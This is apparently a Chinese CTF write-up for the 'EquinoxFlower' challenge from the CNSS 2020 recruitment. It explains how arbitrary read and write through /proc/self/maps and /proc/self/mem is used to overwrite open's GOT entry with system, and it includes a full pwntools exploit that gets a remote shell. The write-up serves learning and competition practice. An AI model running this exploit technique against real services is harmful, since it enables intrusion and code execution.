初音未来の消失

任意地址读写获取shell @ cnss_recruit 2020 EquinoxFlower

introduction

西湖击剑线上赛的时候碰到一道(web)题,通过 php 可以进行任意地址读写(当然总是拿不到shell或flag)。听师傅们说有一种很厉害的方法可以通过改 php 的 elf 获取到 shell。

/proc/self/maps 这个文件会显示该进程的所有段的权限信息
/proc/self/mem 这个文件保存了该进程的所有内存信息,可以直接读写

接下来 SuperGate 马上出了一道 CNSS 招新盲打题,做了一下,体验非常棒(咋不出成 d^3ctf 题呢,哭哭)

接下来记录一下我做题的心路历程。

challenge

analyze

题目给了任意地址读写(当然禁止读 flag 和 elf)

然后就没有任何提示了。

根据前面的分析,可以利用 /proc/self/maps ,读出 elf 的某个段(最直接能想到的就是 got 表所在的段了),然后分析数据,确定 open 所在的 got 表项,改掉它即可。

看了一下目标机器的 maps:

EquinoxFlower 占了五个段。

一开始没有注意 elf 是分段的,直接读取会使得偏移出错。

正确的做法是读取那个权限为 rw-p 的段,因为只有 got 表才可写。

dump 出 elf 的 got 所在段:

看到一堆 0x7f 开头的地址,盲猜是 got 表项,接下来就是把所有的地址拿到 libc_searcher 里面去尝试,我试出来一个 puts 一个 open,刚好对应一个特定版本的 libc:

刚好对应 got 表中的这个:

这样思路就有了:获取 maps,把 elf 对应的 open 函数的 got 表改掉,下一次 open(dir) 的时候会直接调用 system(dir)

exp

from pwn import *
import sys
#context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]

ver = '2.23'
elf_dir = './EquinoxFlower'
ld_dir = '/glibc/x64/{0}/lib/ld-{0}.so'.format(ver)

libc_dir = './libc-2.23.so'
#libc_dir = "/glibc/x64/{0}/lib/libc-{0}.so".format(ver)

if(len(sys.argv) == 1):
    #p = process(elf_dir)
    #p = process([elf_dir],env={"LD_PRELOAD": libc_dir})
    p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
else:
    p = remote('120.79.215.250', 20000)

def read_mem(path, off, size):
    p.sendlineafter('path: ', path)
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Offset: ', str(off))
    p.sendlineafter('Length: ', str(size))

def write_mem(path, off, size, data):
    p.sendlineafter('path: ', path)
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Length: ', str(size))
    p.sendafter('Content: ', data)
    p.sendlineafter('Offset: ', str(off))

def get_mem(name, base, size):
    f = open("./%s" % name, 'wb')

    while True:
        if size > 0x1000:
            read_mem('/proc/self/mem', base, 0x1000)
            f.write(p.recv(0x1000))
            size -= 0x1000
            base += 0x1000
        else:
            read_mem('/proc/self/mem', base, size)
            f.write(p.recv(size))
            break

    f.close()
    return

def get_file(src, name, base, size):
    f = open("./%s" % name, 'wb')

    while True:
        if size > 0x1000:
            read_mem(src, base, 0x1000)
            f.write(p.recv(0x1000))
            size -= 0x1000
            base += 0x1000
        else:
            read_mem(src, base, size)
            f.write(p.recv(size))
            break

    f.close()
    return

read_mem('/proc/self/maps', 0, 0x1000)

elf_base = int(b'0x' + p.recv(len('556f6f17b000')), 16)
success("elf_base:" + hex(elf_base))

# dump ELF_got libc
"""
get_mem('EquinoxFlower_got', elf_base+0x4000, 0x1000)
get_file('/lib/x86_64-linux-gnu/libc-2.23.so', 'libc.so', 0, 0x200000)
"""

for i in range(5):
    p.recvuntil('\n')
libc_base = int(b'0x'+p.recv(len("7fbb21a11000")) ,16)
system = libc_base + 0x0453a0
success("libc_base:" + hex(libc_base))
success("system:" + hex(system))

write_mem('/proc/self/mem', elf_base+0x4000+0x88, 0x8, p64(system))
p.sendlineafter('path: ', '/bin/sh')
p.sendline('cd /home/ctf')

# dump ELF
"""
p.sendline('cat EquinoxFlower')
p.sendline('pwd')

f = open('./EquinoxFlower', 'wb')
f.write(p.recvuntil('/home/ctf')[:-9])
f.close()
"""

# dump libc
"""
p.sendline('cat /lib/x86_64-linux-gnu/libc-2.23.so')
p.sendline('pwd')

f = open('./libc-2.23.so', 'wb')
f.write(p.recvuntil('/home/ctf')[:-9])
f.close()
"""

p.interactive()
退出移动版